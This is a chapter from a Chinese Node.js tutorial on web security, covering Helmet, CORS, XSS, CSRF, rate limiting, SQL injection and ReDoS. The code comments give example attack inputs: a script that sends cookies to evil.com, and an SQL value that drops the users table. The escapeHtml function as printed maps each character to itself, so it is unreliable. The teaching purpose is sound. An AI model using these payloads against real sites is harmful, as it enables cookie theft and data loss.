Node.js 开发指南 / 第 20 章 · 安全
第 20 章 · 安全
20.1 常见 Web 安全威胁
| 威胁 | 全称 | 说明 | 防御 |
|---|---|---|---|
| XSS | Cross-Site Scripting | 注入恶意脚本到网页 | 输出转义、CSP |
| CSRF | Cross-Site Request Forgery | 伪造用户请求 | CSRF Token、SameSite |
| SQL 注入 | SQL Injection | 注入恶意 SQL | 参数化查询 |
| CORS | Cross-Origin Resource Sharing | 跨域资源共享限制 | 正确配置 CORS |
| 中间人攻击 | Man-in-the-Middle | 拦截通信 | HTTPS |
| 暴力破解 | Brute Force | 穷举密码 | 速率限制 |
20.2 Helmet
npm install helmet
const helmet = require('helmet');
app.use(helmet());
// 或精细配置
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'", 'https://api.example.com'],
},
},
crossOriginEmbedderPolicy: false, // 如果需要加载外部资源
}));
Helmet 设置的安全头部
| 头部 | 作用 |
|---|---|
Content-Security-Policy | 防止 XSS、数据注入 |
X-Content-Type-Options | 防止 MIME 嗅探 |
X-Frame-Options | 防止点击劫持 |
Strict-Transport-Security | 强制 HTTPS |
X-XSS-Protection | XSS 过滤(旧浏览器) |
Referrer-Policy | 控制 Referer 头 |
Permissions-Policy | 控制浏览器功能 |
20.3 CORS
npm install cors
const cors = require('cors');
// 基本使用(允许所有来源 — 仅开发环境)
app.use(cors());
// 生产环境配置
const corsOptions = {
origin: (origin, callback) => {
const allowedOrigins = [
'https://example.com',
'https://admin.example.com',
];
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('CORS 策略不允许此来源'));
}
},
methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count', 'X-Request-Id'],
credentials: true, // 允许 Cookie
maxAge: 86400, // 预检请求缓存 24 小时
};
app.use(cors(corsOptions));
CORS 预检请求
浏览器 → OPTIONS /api/users → 服务器
浏览器 ← Access-Control-Allow-Origin ← 服务器
浏览器 → POST /api/users → 服务器
20.4 XSS 防护
// XSS 示例:用户输入被当作 HTML 执行
// 用户输入:<script>document.location='https://evil.com/?cookie='+document.cookie</script>
// 如果直接渲染到页面,会窃取 Cookie
// 防护 1:输出转义
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 防护 2:使用 helmet CSP 头
// 防护 3:使用模板引擎的自动转义(EJS 默认转义)
// 防护 4:Cookie 设置 httpOnly
res.cookie('session', token, {
httpOnly: true, // JavaScript 无法访问
secure: true, // 仅 HTTPS
sameSite: 'strict', // 不随跨站请求发送
maxAge: 86400000,
});
20.5 CSRF 防护
npm install csurf
// CSRF Token 方式
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: { httpOnly: true, sameSite: 'strict' } });
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/transfer', csrfProtection, (req, res) => {
// Token 验证通过才会执行到这里
res.send('转账成功');
});
// SameSite Cookie 方式(更简单)
res.cookie('session', token, {
sameSite: 'strict', // 跨站请求不会携带此 Cookie
});
20.6 速率限制
npm install express-rate-limit rate-limit-redis
const rateLimit = require('express-rate-limit');
// 基本限速
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 分钟
max: 100, // 每个 IP 最多 100 次请求
standardHeaders: true,
legacyHeaders: false,
message: { error: '请求过于频繁,请稍后再试' },
});
app.use('/api/', limiter);
// 登录接口更严格的限制
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
message: { error: '登录尝试次数过多,请 15 分钟后重试' },
skipSuccessfulRequests: true, // 成功的请求不计入
});
app.use('/api/login', loginLimiter);
// Redis 存储(多实例部署)
const RedisStore = require('rate-limit-redis');
const { createClient } = require('redis');
const redisClient = createClient();
redisClient.connect();
const redisLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
windowMs: 60 * 1000,
max: 60,
});
20.7 SQL 注入防护
// ❌ 危险:字符串拼接
const query = `SELECT * FROM users WHERE id = ${userId}`;
// userId = "1; DROP TABLE users;"
// ✅ 安全:参数化查询
const [rows] = await pool.execute('SELECT * FROM users WHERE id = ?', [userId]);
// ✅ 使用 ORM(自动参数化)
const user = await prisma.user.findUnique({ where: { id: userId } });
20.8 请求体安全
// 限制请求体大小
app.use(express.json({ limit: '1mb' }));
// 防止 ReDoS(正则表达式拒绝服务)
// ❌ 危险的正则
const badRegex = /^(a+)+$/;
// badRegex.test('aaaaaaaaaaaaaaaaaaaac'); // 灾难性回溯
// ✅ 使用安全的正则或限制输入长度
app.use((req, res, next) => {
const body = JSON.stringify(req.body);
if (body && body.length > 1000000) { // 1MB
return res.status(413).json({ error: '请求体过大' });
}
next();
});
20.9 依赖安全审计
# npm 内置审计
npm audit
npm audit fix
# 强制修复
npm audit fix --force
# 检查过期依赖
npm outdated
20.10 安全检查清单
// security-checklist.js
module.exports = {
headers: {
'X-Content-Type-Options': 'nosniff',
'X-Frame-Options': 'DENY',
'X-XSS-Protection': '1; mode=block',
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
'Referrer-Policy': 'strict-origin-when-cross-origin',
'Permissions-Policy': 'camera=(), microphone=(), geolocation=()',
},
cookies: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 24 * 60 * 60 * 1000,
},
};
注意事项
⚠️ 不要信任任何客户端输入:所有请求参数、头部、Cookie 都需要验证。
⚠️ HTTPS 是必须的:生产环境必须使用 HTTPS,否则所有安全措施都可能失效。
⚠️ 安全头部是纵深防御:不要依赖单一措施,多层防护才能有效。
⚠️ 定期更新依赖:使用
npm audit检查已知漏洞。
业务场景
- 公开 API:速率限制 + API Key + CORS
- 用户登录:限制尝试次数 + CSRF Token + HttpOnly Cookie
- 文件上传:类型检查 + 大小限制 + 病毒扫描
- 支付接口:HTTPS + 签名验证 + 审计日志
扩展阅读
上一章:第 19 章 · 错误处理 下一章:第 21 章 · 性能优化 — Cluster、Worker Threads、内存分析和 CPU Profile。